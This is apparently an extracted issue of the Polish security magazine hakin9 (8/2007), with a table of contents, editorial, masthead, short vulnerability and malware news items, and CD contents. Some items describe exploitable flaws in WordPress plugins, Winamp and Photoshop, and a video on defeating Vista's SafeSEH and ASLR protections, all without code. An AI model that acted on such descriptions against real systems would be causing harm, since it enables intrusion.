background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 8/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy  garść  najciekawszych  wiadomości 

ze  świata  bezpieczeństwa  systemów  informatycz-

nych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live

Narzędzia

Recenzja 

NETASQ NA-F60

12

Recenzja 

Panda Internet Security 2007

13

Recenzja 

EagleeyeOS Professional Severe

14

Początki

Podejrzany klucz rejestru

16

David Maciejak

David  zaprezentuje  jak  wykryć  ślady  złośliwego 

oprogramowania  na  platformie  Windows.  Nauczy-

cie  się  też,  jak  pisać  własne  pluginy  Nessusa  za 

pomocą NASL. 

Atak

Restrykcyjne powłoki 

– jak je obejść? 

26

Dawid Gołuński

Dawid  pokazuje  nam,  jak  zmodyfikować  restrykcyj-

ne środowisko w celu ograniczenia dostępu dla użyt-

kownika. Poznasz charakterystykę działania restryk-

cyjnej powłoki oraz jej budowę.  

Hakowanie protokołu SSL

34

Artyr Czyż

Artur pokazuje, jakie błędy kryją się w protokole SSL 

oraz jak za pomocą ataku MITM przejąć dane konta 

innej osoby.

Hakowanie rejestru

38

Rafał Podsiadły

Rafał  pokaże  nam,  jak  napisać  wirusa  oraz  na  co 

zwrócić uwagę przy tworzeniu szkodliwego kodu.

Witam!

Jako  że  redagujemy  pismo,  dotyczące  bezpieczeństwa  IT, 

często bywamy na konferencjach poświęconych temu tema-

towi. Zaciekawiła nas jedna z nich, a mianowicie konferen-

cja o piractwie komputerowym, zorganizowana przez firmę 

BSA i Microsoft.

Swoją wiedzą i wypowiedziami zaintrygował nas zwłasz-

cza Krzysztof Janiszewski z Microsoftu, zajmujący się pro-

blematyką ochrony własności intelektualnej. Nasze zacieka-

wienie zaowocowało wywiadem. Gorąco polecam ową roz-

mowę, którą nasi Czytelnicy mogą przeczytać w poniższym 

wydaniu h9 8/2007. Pan Krzysztof obiecał, że będzie nam 

dostarczał ciekawych informacji dotyczących piractwa kom-

puterowego, więc zapraszam do śledzenia kolejnych nume-

rów naszego czasopisma, by dowiedzieć się czegoś więcej 

na ten temat. My, ze swojej strony gwarantujemy, że zagad-

nienia te poruszymy w rozmowie z rzecznikiem BSA.

Oprócz  znakomitego  wywiadu  w  h9  znajdziecie  jak 

zawsze  zbiór  bardzo  interesujących  artykułów,  takich  jak: 

Hakowanie SSL, Hakowanie powłoki, Apache jako Reverse 

Proxy i wiele, wiele innych, których lekturę gorąco polecam.

Specjalnie dla naszych Czytelników udostępniamy multi-

medialny kurs Stack Overflow Windows Vista, dwa progra-

my oraz 3 nowe tutoriale.

Pozdrawiam 

Katarzyna Juszczyńska

background image

4

www.hakin9.org

hakin9 Nr 8/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Microsoft SQL Server 2005 

– bezpieczne aplikacje

44

Artur Żarski

Artur przedstawi techniki tworzenia bezpiecznych aplika-

cji o charakterze baz danych w oparciu o Microsoft SQL 

Server 2005. 

Bezpieczna podróż 

przez sieć LAN i Internet?

50

Michał Poselt

Michał pokaże, jak zabezpieczyć się przed Phishin-

giem oraz jak używać McAfee Site Advisor.

Apache jako Reverse Proxy

56

Radosław Pieczonka

Radosław napisze nam o tym, czym jest reverse proxy, 

jak skonfigurować serwer Apache2 dla reverse proxy. 

Secure Remote Password Protocol

62

Cezary G. Cerekwicki

Cezary pokaże, jak działa najbezpieczniejszy proto-

kół uwierzytelniający przez użycie hasła.

Bezpieczna Firma

Bezpieczeństwo informacji 

w polskich normach

66

Andrzej Guzik

Andrzej napisze nam, jakie normy i raporty technicz-

ne  stanowią najlepsze praktyki w zakresie zapewnie-

nia bezpieczeństwa informacji w instytucji. 

Klub Techniczny

Outpost Security Suite

72

Wywiad

Wywiad z Krzysztofem 

Janiszewskim, pracownikiem 

firmy Microsoft

74

Robert Gontarski, Katarzyna Juszczyńska

Krzysztof Janiszewski specjalista ds. Ochrony Wła-

sności Intelektualnej z firmy Microsoft

Felieton

78

Patryk Szlagowski

Przeglądarki – temat tabu

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym 

numerze naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: 
Sylwia Pogroszewska

Redaktor naczelny: Martyna Żaczek 

martyna.zaczek@software.com.pl 

Redaktor prowadzący: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Asystent redaktora: Robert Gontarski 

robert.gontarski@software.com.pl

Tłumaczenie: Piotr Żuk

Wyróżnieni betatesterzy: Przemysław Prytek, Tomasz Przybylski 

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych 

pism prosimy o kontakt:

Monika Nowicka

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 8/2007

Dziurawe blogi

W popularnym oprogramowaniu 

do tworzenia blogów – WordPress 

– odkryto trzy poważne luki, które 

pozwalają napastnikowi na wsta-

wienie własnych skryptów PHP i 

ich wykonanie. Błąd występuje we 

wtyczkach myFlashwordTube i 

wp -Table i jest związany z nieprawi-

dłowym przetwarzaniem parametru 

wppath w modułach wordtube-but-

ton.phpjs/wptable-button.php i 

myflash-button.php. Wszystkie 

wtyczki, w których zostały wykryte 

luki, wyszły spod ręki tego samego 

programisty. WordPress to system 

obsługi blogów napisany w języku 

skryptowym PHP. Do swojego funk-

cjonowania wykorzystuje bazę 

MySQL. Rozpowszechniany jest na 

licencji GNU General Public Licen-

se. Rozwojem WordPressa kieruje 

Ryan Boren oraz Matt Mullenweg.

Uwaga na trojan imitujący 

aktywację Windows

Specjaliści z firmy Symantec ostrze-

gają użytkowników systemu Win-

dows przed nowym koniem trojań-

skim Kardphisher, który do złudze-

nia przypomina produkt Microso-

ftu - Windows Genuine Advanta-

ge (WGA). Po uruchomieniu Troja-

na użytkownikowi wyświetlany jest 

komunikat, z którego wynika, że 

niezbędne jest przeprowadzenie 

powtórnej aktywacji OS-u. Jeśli użyt-

kownik nie wyrazi zgody na aktywa-

cję, komputer zostanie zrestartowa-

ny, zaś po jego uruchomieniu znów 

pojawi się żądanie ponownej akty-

wacji systemu. Kardphishera można 

usunąć za pomocą uaktualnionego 

programu antywirusowego. 

Eksperci ostrzegają przed nowym 

robakiem rozprzestrzeniającym się 

poprzez klipsy USB

Firma Sophos informuje o nowym 

robaku – SillyFD-AA, który insta-

luje się w systemie, a następnie 

wyświetla za pomocą przeglądarki 

internetowej informację Hacked by 

1BYTE. Szkodnik wyszukuje pod-

łączone do komputera urządzenia 

USB i kopiuje się na nie, aby potem 

zarażać inne komputery, Spadek 

cen klipsów USB sprawia, iż stają 

się one narzędziem cyberprzestęp-

ców - zauważa Graham Clueley z 

firmy Sophos. Aby uniknąć ataku 

robaka, użytkownicy powinni wyłą-

czyć w systemie Windows funkcję 

Autorun. Warto również od czasu 

do czasu przeskanować dysk USB 

programem antywirusowym.

Włamanie na serwery AOL-u

S

iedemnastolatek z Nowego Jorku 
włamał się do systemów informa-

tycznych koncernu AOL. Mike Nieves 
został jednak szybko zdemaskowany i 
zatrzymany, a sprawa trafiła do sądu 
w  NY.  Podczas  pierwszej  rozpra-
wy przedstawiono mu zarzuty popeł-
nienia  czterech  przestępstw  i  jedne-
go  wykroczenia.  Młody  nowojorczyk 
po włamaniu na serwery miał dostęp 
m.in. do szczegółowych danych klien-
tów, komputerów działu supportu oraz 
kont  pracowników.  Atak  na  AOL  był 
zemstą skierowaną przeciwko firmie, 
która bezprawnie odebrała mu konto 
w serwisie AOL.com. Włamania doko-
nał pomiędzy 24.12.2006 a 7.04.2007. 
W  tym  czasie  wielokrotnie  włamy-
wał  się  na  serwery  AOL.  Firma  w 
wyniku ataku poniosła straty sięgają-
ce 500 tys. USD. Według niepotwier-
dzonych  informacji  nastolatek  należy 
do grupy hakerskiej, która specjalizu-

je się we włamaniach do dużych kor-
poracji. AOL to duży dostawca usług 
internetowych,  spółka  korporacji 
medialnej  America  Online.  W  latach 
90, AOL obsługiwał 30 milionów sub-
skrybentów, chociaż obecnie liczba ta 
znacząco spadła. Usługi AOL zosta-
ły  uruchomione  w  1985  jako  rodzaj 

mega-BBS dla komputerów Commo-
dore 64 i 128.

Rysunek 1. 

Zrzut ekranu poczty 

IncreditMail

Hakerzy ponownie zaproszeni 

na konferencję Microsoftu

K

oncernr  Microsoft  po  raz  kolej-
ny zaprosił do współpracy człon-

ków  społeczności  hakerskiej  na 
swoją  konferencję  Blue  Hat.  Konfe-
rencja  z  udziałem  specjalistów  od 
łamania  zabezpieczeń  i  wyszukiwa-
nia  luk  w  oprogramowaniu  odbyła 
się  w  głównej  siedzibie  Microsoft 
w  Redmond.  Na  spotkaniu  obecni 
byli między innymi Kevin Mahaffey i 
John Hering z Flexilis, David Maynor 

i  Robert  Graham  z  Errata  Security 
oraz  Rob  Thomas  z  Team  Cymru. 
Gigant  z  Redmond  liczy  na  to,  iż 
hakerzy podpowiedzą mu, jak popra-
wić  zabezpieczenia  jego  produktów. 
Microsoft  zainicjował  cykliczne  kon-
ferencje z udziałem hakerów dwa lata 
temu – w celu wypromowania dialogu 
pomiędzy jego wewnętrznym zespo-
łem ds. bezpieczeństwa, a zewnętrz-
nymi badaczami.

Vista całkowicie złamana

Sieci  pojawiła  się  całkowi-
cie  złamana  wersja  Windows 

Visty  Ultimate  -  donosi  The  Inqu-

irer.  Zabezpieczenia  najnowszego 
systemu  Microsoftu  zostały  przeła-
mane  przez  grupę  NoPE.  O  scrac-
kowanych  wersjach  Visty  słyszeli-
śmy  już  kilkakrotnie,  jednak  obecna 
jest  wyjątkowa.  Otóż  zabezpiecze-
nia  Visty  zostały  całkowicie  poko-
nane!  Nie  trzeba  używać  żadnych 
numerów  seryjnych,  kluczy  aktywa-
cyjnych, nie trzeba przerabiać BIOS-
u.  Wystarczy  po  prostu  umieścić 

w  napędzie  specjalną  wersję  DVD, 
przygotowaną  przez  grupę  NoPE 
i  normalnie  zainstalować  system. 
Microsoft  od  wielu  lat  boryka  się  z 
tym  samy  problemem  i  jak  na  razie 
programistom  nie  udało  się  stwo-
rzyć  odpowiednich  narzędzi  antypi-
rackich,  które  w  100%  zabezpieczą 
produkty giganta z Redmond. Zabez-
pieczenie antypirackie w poprzedniej 
wersji systemu Windows XP, zostało 
złamane  jeszcze  przed  udostępnie-
niem beta wersji.

background image

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 8/2007

Luka w odtwarzaczu Winamp

Haker o pseudonimie Marsu Pilami 

wykrył poważny błąd w najnowszej 

wersji popularnego odtwarzacza 

muzyki Winamp. Błąd występuje w 

bibliotece libmp4v2.dll, która odpo-

wiedzialna jest za przetwarzanie 

plików MP4. Odpowiednio sprepa-

rowany plik muzyczny może spo-

wodować wykonanie złośliwego 

kodu i w konsekwencji doprowa-

dzić na przykład do przejęcia kon-

troli nad komputerem. Błąd wystę-

puje tylko w najnowszych wersjach 

Winampa, oznaczonych numerami 

5.33 i 5.34. AOL, obecny właściciel 

Winampa, poinformował, iż pracuje 

nad załataniem luki.

Użytkownicy Photoshopa 

w niebezpieczeństwie

Wykryto krytyczną lukę w aplikacji 

Adobe Photoshop, która umożliwia 

przejęcie kontroli nad komputerem. 

Oznaczona jako wysoko krytyczna 

dziura dotyczy Photoshopa w wersji 

CS2 oraz CS3. Odpowiednio spre-

parowany plik graficzny .bmp (.dib

.rle) może ułatwić przeprowadzenie 

ataku związanego z przepełnieniem 

bufora, a to z kolei ułatwi przejęcie 

kontroli nad atakowanym kompute-

rem. Specjaliści z firmy Secunia nie 

odnotowali jeszcze istnienia złośli-

wego oprogramowania wykorzystu-

jącego dziurę. Zaleca się jednak, 

aby użytkownicy Photoshopów nie 

otwierali map bitowych pochodzą-

cych z nieznanych źródeł.

Crakerzy napadli na piratów

Popularny serwis P2P The Pirate 

Bay został zaatakowany przez hake-

rów, którzy wykorzystując dziurę w 

oprogramowaniu do obsługi blogów 

wykradli zawartość bazy danych ser-

wisu, zawierającą nazwy użytkow-

ników i hasła 1,6 miliona użytkowni-

ków. Przedstawiciele The Pirate Bay 

uspokajają, iż dane te są dodatkowo 

zaszyfrowane, więc jest raczej mało 

prawdopodobne, iż złodzieje zdołają 

je wykorzystać. Internautom posia-

dającym konta na stronie zalecono 

jednak jak najszybszą zmianę haseł 

dostępu. Administratorzy twierdzą, iż 

wiedzą, kto jest odpowiedzialny za 

atak – jednak na razie informacji tej 

nie podano. The Pirate Bay to jeden 

z największych trackerów BitTorren-

ta na świecie. TPB został urucho-

miony przez szwedzką organizację 

Piratbyran na początku roku 2004, 

a od października 2004 jest osobną 

organizacją.

Poważna luka w Novell NetMail

programie  pocztowym  Novell 
NetMail 3.52e wykryto poważ-

ną  lukę,  która  pozwala  napastniko-
wi  na  zdalne  uruchomienie  dowol-
nego kodu z uprawnieniami, z który-
mi  działa  usługa  NetMail.  Błąd  doty-
czy  usługi  NMDMC.EXE,  która  nie 
przeprowadza właściwej kontroli wej-
ścia  podczas  kopiowania  danych  do 
wewnętrznego  bufora.  Novell  przy-
gotował  już  nową  wersję  programu 
(3.52f), w której błąd został naprawio-
ny.  Novell  NetMail  to  system  zarzą-
dzania  pocztą,  kontaktami  i  spotka-

niami, wyposażony we własny komu-
nikator.  System  obsługuje  wszystkie 
podstawowe protokoły SMTP, POP3, 

IMAP4,  HTML,  S/MIME,  a  jego  naj-
nowsza wersja działa na platformach 
NetWare,  Solaris,  Linux  oraz  Win-
dows NT/2000. Novell NetMail jest też 
powiązany z rozwiązaniami, takimi jak 
eDirectory,  iFolder  czy  GroupWise. 
NetMail  współpracuje  z  większością 
popularnych  klientów  pocztowych 
Outlook, Eudora, Netscape Mail oraz 
platformami  GroupWise,  Exchange  i 
Lotus Notes.

Pierwsze narzędzie do audytu e-mail

D

ostawca  narzędzi  zarządzania, 
firma  Quest  Software  wprowa-

dziła do sprzedaży najnowsze narzę-
dzie  wspomagające  bezpieczeństwo 
systemu  pocztowego:  Quest  InTrust 

Plug-in  for  Exchange.  Jest  to  pierw-
szy  produkt  na  rynku,  który  umożli-
wia śledzenie w czasie rzeczywistym 
dostępu i działań właścicieli skrzynek 
pocztowych  oraz  użytkowników  uzy-
skujących  dostęp  do  skrzynek  pocz-
towych  w  imieniu  właściciela  (admi-
nistratorzy).  Rozwiązanie  to  pozwa-
la  także  na  przeprowadzanie  audytu 
zmian  uprawnień  lub  konfiguracji  w 
środowisku Exchange Server. Narzę-
dzie Quest InTrust Plug-in for Exchan-

ge raportuje oraz generuje alarmy w 
oparciu  o  zapisy  w  dzienniku  zda-
rzeń,  pozwala  również  przeglądać  i 
archiwizować  informacje  zawarte  w 
logach,  generować  raporty  związa-
ne z aktywnością serwera Exchange 
i  wysyłać  alerty  w  przypadku  stwier-
dzenia  nieprawidłowości  lub  krytycz-
nych zachowań użytkowników. InTrust 

Plug-in for Exchange umożliwia prze-
prowadzenie  szczegółowego  audytu 
zmian konfiguracyjnych i uprawnienio-
wych w środowisku Exchange Server
W zakresie zarządzania infrastrukturą 
Microsoftu,  Quest  konkuruje  z  takimi 
dostawcami, jak Bindview, NetIQ oraz 
NetPro.

Policja zamyka napisy.org

P

olicjanci  z  Wydziału  PG  KWP 
w  Katowicach  zatrzymali  dzie-

więć  osób,  które  nielegalnie  tłuma-
czyły  dialogi  z  filmów  i  zamieszcza-
ły je na znanym portalu internetowym 
napisy.org.  Portal  był  najpopular-
niejszą  stroną  z  tłumaczeniami  dia-
logów  filmowych  w  Polsce.  Pozwa-
lał  setkom  tysięcy  użytkownikom 
miesięcznie  oglądać  obcojęzycz-
ne  filmy  z  polskimi  napisami.  Usta-
lono,  że  domena  Napisy.org.  znaj-
duje  się  na  niemieckim  serwerze,  a 
administratorem jest 26-letni właści-
ciel  sklepu  z  częściami  komputero-
wymi z Zabrza. W likwidowaniu nie-
legalnego  serwisu  brali  udział  poli-
cjanci  z  czterech  województw,  poli-

cja  niemiecka  oraz  przedstawiciele 
Fundacji Ochrony Twórczości Audio-
wizualnej. Policja rozpoczęła przygo-
towania do całej akcji na wniosek firm 
pokrzywdzonych działaniami serwisu 
Napisy.org. Podejrzanym grozi teraz 
kara nawet do 2 lat pozbawienia wol-
ności.  Nie  są  to  pierwsze  problemy 

Napisy.org.  W  zeszłym  roku  serwis 
ten  wraz  ze  stroną  Napisy.info  stał 
się celem ataków dystrybutora Gutek 
Film. Wtedy jednak po krótkiej prze-
rwie serwis wrócił do Sieci. Na stor-
nie http://kinomania.org znajduje się 
list  otwarty  tłumaczy-hobbystów  w 
sprawie zatrzymań osób tworzących 
napisy do filmów.

background image

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

8

The Pirate Bay stworzyło 

nową stronę z muzyką

The Pirate Bay pracuje nad nową, 

udostepniającą pliki muzyczne 

stroną, która pozwoli użytkowni-

kom na legalne ściąganie muzyki, 

przy równoczesnym wspieraniu 

artystów finansowo. Projekt Play-

ble.com powstał dzięki współpra-

cy The Pirate Bay ze szwedzką 

grupą rockową Lamont i ich mana-

gerem Kristopherem S. Wilburem. 

Tym, co wyróżnia Playble.com 

od innych stron (np. Itunes), jest 

bezpośrednie wspieranie arty-

stów i muzyki. Użytkownicy por-

talu będą mogli płacić miesięcz-

ną dobrowolną opłatę za ściąganie 

muzyki, podczas gdy wiele podob-

nych stron narzuca użytkownikom 

własne opłaty.

Wykryto lukę w programie 

pocztowym IncrediMail

Specjaliści z US-CERT poinfor-

mowali o luce w module ActiveX, 

który instalowany jest przez pro-

gram IncrediMail. Dziura pozwa-

la na wprowadzenie do komputera 

ofiary złośliwego kodu. Błąd polega 

na przepełnieniu bufora w module 

IMMenuShellExt. Lukę można 

wyeliminować poprzez wyłączenie 

obsługi kontrolek ActiveX. Incredi-

Mail to rozbudowany klient poczty 

elektronicznej, który oferuje duże 

możliwości kreacji i edycji listów, 

do których można dołączać grafikę, 

animowane elementy, efekty 3D 

oraz odręczny podpis.

Microsoft Forefront Client 

Security Evaluation Edition

Microsoft udostępnił testową 

wersję oprogramowania Microsoft 

Forefront Client Security, które ofe-

ruje ochronę przed szkodliwym 

oprogramowaniem: spyware, wiru-

sami, rootkitami, koniami trojański-

mi i robakami. W skład rozwiązania 

Forefront Client Security wchodzą 

dwa elementy: Agent zabezpieczeń 

– który zapewnia ochronę w czasie 

rzeczywistym i Serwer centralne-

go zarządzania – który umożliwia 

zarządzanie i aktualizowanie skon-

figurowanych agentów szkodli-

wej zawartości. Microsoft przygo-

tował pełną dokumentację produk-

tu: Microsoft Forefront Client Secu-

rity Product Documentation, która 

dostępna jest za darmo na stronie 

internetowej firmy. W dokumenta-

cji znajdziemy szczegółowe prze-

wodniki po nowych produktach linii 

Forefront.

Luka w aplikacjach firmy McAfee 

S

pecjalista  ds.  Bezpieczeństwa, 
Peter  Vreugdenhil  poinformo-

wał o bardzo poważnej luce w aplika-
cjach  firmy  McAfee.  Wykryta  podat-
ność umożliwia zdalny dostęp do sys-
temu. Luka występuje w takich apli-
kacjach  jak  McAfee  Internet  Securi-
ty Suite 6.x, McAfee VirusScan Plus 
2007, McAfee Personal Firewall Plus 
5.x, McAfee SpamKiller 5.x, McAfee 
AntiSpyware 2.x. Firma McAfee opu-
blikowała  upgrade  do  wersji  7.2.147 
lub  6.0.25,  który  dostępny  jest  pod 
adresem:  http://us.mcafee.com/root/

login.asp  Firma  McAfee,  z  siedzibą 
centrali  w  Santa  Clara  w  Kalifornii, 
jest światowym liderem w dziedzinie 

ochrony  przed  włamaniami  do  sieci 
i  zarządzania  zagrożeniami  bezpie-
czeństwa.  Oferuje  sprawdzone  roz-
wiązania i usługi służące do prewen-
cyjnego  zabezpieczania  systemów  i 
sieci informatycznych na całym świe-
cie.  Dzięki  niezrównanej  znajomo-
ści  zagadnień  bezpieczeństwa  oraz 
zaangażowaniu na rzecz innowacyj-
ności,  McAfee  dostarcza  indywidu-
alnym  użytkownikom,  firmom,  insty-
tucjom z sektora publicznego i usłu-
godawcom mechanizmy do nieustan-
nego  monitorowania  i  poprawy  ich 
bezpieczeństwa,  blokowania  ataków 
oraz zapobiegania zakłóceniom dzia-
łalności.

Microsoft: Open Source narusza 

235 patentów

W

edług  firmy  Microsoft  otwar-
te  oprogramowanie,  między 

innymi  Linux,  narusza  235  patentów 
należących do korporacji z Redmond. 
Microsoft  doszukał  się  złamania  42 
patentów w kodzie jądra Linuksa, 65 
w  graficznym  interfejsie  użytkowni-
ka,  45  w  pakiecie  OpenOffice.org
15  w  programach  pocztowych  oraz 
68  w  innym  oprogramowaniu  FOSS. 
Społeczność Open Sopurce, a także 
firmy, które należą do stowarzyszenia 

Open Invention Network, m.in. Sony, 
Red Hat, IBM, NEC, Oracle czy Phil-
lips, zapowiadają gotowość do kontr-
ataku.  Na  łamach  InformationWeek 

Linus  Torvalds  (twórca  jądra  Linux) 

wypowiedział  się  na  temat  zarzutów 
łamania  patentów  przez  wolne  opro-
gramowanie. "Zdecydowanie jest bar-
dziej  prawdopodobne,  że  to  Micro-
soft  łamie  jakieś  patenty  niż  Linux" 
–  stwierdza  Torvalds.  "Podstawowe 

teorie  systemu  operacyjnego  zosta-

ły  dokładnie  określone  pod  koniec 

lat 60. Prawdopodobnie IBM posiada 

tysiące prawdziwie 'fundamentalnych' 

patentów"  –  dodaje  Torvalds.  Aktu-
alnie  Microsoft  nie  zamierza  docho-
dzić  swoich  praw  w  sądzie.  "Gdyby-

śmy  tego  chcieli,  zrobilibyśmy  to  już 

lata temu" - powiedział dla IW Horacio 
Gutierrez, przedstawiciel Microsoftu.

Mateusz Stępień

Rysunek 2. 

www.mcafee.com.pl

background image
background image

hakin9.live

hakin9 Nr 8/2007

www.hakin9.org

10

EagleEyeOS Professional Severe

Program ten oferuje zupełne zabezpieczenie – komplet-
ny zasięg w rozpoznawaniu alertów, rozwinięte monitoro-
wanie w kwestii wykorzystywania drukarek. Świetnie na-
daje się do zastosowania zarówno w dużych firmach, jak 
i średnich i małych przedsiębiorstwach. Cykl życia doku-
mentów  może  być  kontrolowany  i  śledzony  za  pomocą 
monitorowania  aktywności  użytkownika,  tworzenia  do-
kumentów kwarantanny, a także poprzez kontrolowanie 
urządzeń przenośnych. EagleEyeOS Professional Seve-

re obsługuje też drukarki i alerty innych dowolnych zda-
rzeń. Nawigacja po programie jest łatwa i szybka, panel 
kontrolny  EagleEye  wykorzystuje  jego  stronę  domową. 
Znajdują się na niej wielokrotnie używane linki i general-
ne dane statystyczne. 

Real-Time  Monitoring  monitoruje  w  czasie  rzeczywi-

stym zdarzenia, pojawiające się w całej Sieci. Zwiększe-
nie efektywności badania incydentów w czasie rzeczywi-
stym pomaga wykonywać pracę na odpowiedni poziomie.

Reports umożliwiają analizowanie zdarzeń użytkowni-

ków. Dzięki tworzonym raportom mamy możliwość grupo-
wania, przeszukiwania i układania w kolejności tych zda-
rzeń w odpowiedniej kolejności, tak aby usprawnić pracę. 

File  Lifecycle  Tracking  to  z  kolei  specjalna  opcja 

umożliwiająca śledzenie operacji pliku. The File Lifecycle 

Tracking przedstawia zestawienie śladów życia pliku za 
pomocą drzewa. Istnieje też możliwość przeszukania pli-
ków bezpośrednio z zapytanego raportu.

Storage  Lifecycle  Tracking  pokazuje,  który  host  po-

łączył się z urządzeniem przechowującym dane (jak pen 
drive czy aparat) i kiedy to zrobił. Bazując na możliwości 
identyfikacji sprzętu, narzędzie zawiadamia o tym, kto sie 
połączył, kiedy to zrobił, z którego hosta oraz jaki rodzaj 
operacji został wykonany na pliku. Alerts zawiadamiają 
o dowolnym zdarzeniu i generują się w momencie mają-
cego miejsce zdarzenia. Alerty mogą być wywoływane z 

Raports i z File lifecycles. Ma to duże znaczenie dla na-
tychmiastowego wykrywania nadużyć.

File AntiCopy

Chroń swoje pliki razem z File AntiCopy. Nikt nie będzie 
w stanie otworzyć, skopiować lub wykasować pliku bez 
twojego zezwolenia. Masz gwarancje że program nigdy 
nie straci twoich danych. 

Instalacja  jest  bardzo  prosta,  wystarczy  uruchomić 

plik fac.exe, nie jest wymagany żaden kod.

Każda osoba z podstawową wiedzą komputerową mo-

że zabezpieczyć swoje pliki, gdyż interface aplikacji jest 
bardzo prosty. Logowanie odbywa się przez wprowadze-
nie loginu admin i hasła admin. Wyświetli się panel konfi-
guracyjny. Aby zabezpieczyć plik, należy dodać go do pli-
ków chronionych i zmienić status Anti-Copy na Aktywny.

Zawartość CD

Opis kursu Visty

Zabezpieczenie ASLR Windows Visy jest włączone do-
myślnie dla programów produkowanych przez firmę Mi-
crosoft i umożliwia zapewnienie bezpieczeństwa pamię-
ci aplikacji i usług, aby uniknąć wykorzystania przepeł-
nienia bufora.

Tego rodzaju dziura umożliwia wykonanie kodu z pra-

wami podatnego programu.

Nowe  zabezpieczenia  Microsoft  Windows  Visty 

uniemożliwiają wykorzystanie tych słabości. W tym ar-
tykule  spróbujemy  zrozumieć  działanie  mechanizmów 
zabezpieczających.  Przedstawimy  również  kilka  tech-
nik, których można użyć, aby wykorzystać przepełnie-
nia bufora.

Poruszymy  najpierw  temat  działania  /SafeSeh  (po-

twierdzenie programów zarządzających wyjątkami) i /Dy-

namicBase (które umożliwia szczegółową randomizację 
stosu, sterty i obrazu plików wykonywalnych).

Użyjemy kilku technik, aby zmniejszyć wpływ tych za-

bezpieczeń na wykorzystanie przepełnienia bufora oraz 
aby  zaobserwować,  w  jakim  stopniu  można  użyć  tech-
niki SEH overwrite, nawet w kontekście zabezpieczenia 
przez /SafeSeh et /DynamicBase.

Artykuł ten pozwoli Ci lepiej zrozumieć mechanizmy 

zabezpieczające,  jakie  umożliwia  Windows  Vista  oraz 
pokaże ich ograniczenia.

Aby w pełni korzystać z tego wideo, zalecamy pozna-

nie działania OllyDbg, a także sposobów przeprowadzania 
ataków przez przepełnienie bufora w systemie Windows.

Ten artykuł wideo został przygotowany przez Ali Rah-

bar, inżyniera i konsultanta ds bezpieczeństwa informa-
tycznego.

Aulin  Cadeac  (wstęp),  Ali  Rahbar  (realizacja  wideo) 

SYSDREAM,  szkolenia  i  porady  w  kwestii  bezpieczeń-
stwa informatycznego (http://www.sysdream.com).

Rysunek 1. 

Wykorzystanie podobnego programu Vista

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, 

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

12

Narzędzia

hakin9 Nr 8/2007

www.hakin9.org

13

hakin9 Nr 8/2007

www.hakin9.org

Narzędzia

W dobie wszechobecnego Internetu należy kłaść coraz 
większy  nacisk  na  zabezpieczenie  swojej  Sieci  przed 
atakami  z  zewnątrz.  Mamy  tu  bardzo  duże  możliwości 
wyboru oprogramowania, jednak dużo większą ochronę 
zapewni nam urządzenie specjalnie do tego celu zapro-
jektowane.  Jednym  z  tego  typu  urządzeń  jest  NA-F60. 
Jest  to  sprzęt  firmy  Netasq  przeznaczony  do  małych  i 
średnich sieci. Urządzenie jest więc dedykowane zarów-
no użytkownikom domowym, jak też  małym firmom.

Podczas  tworzenia  Sieci  podłączonej  do  Internetu 

najważniejszym priorytetem jest bezpieczeństwo. Oczy-
wiście  istnieje  mnóstwo  oprogramowania,  które  zabez-
pieczać może poszczególne komputery, ale dopiero przy 
wykorzystaniu właściwego sprzętu możemy chronić całą 
naszą Sieć i decydować o tym,  z jakich zasobów mogą 
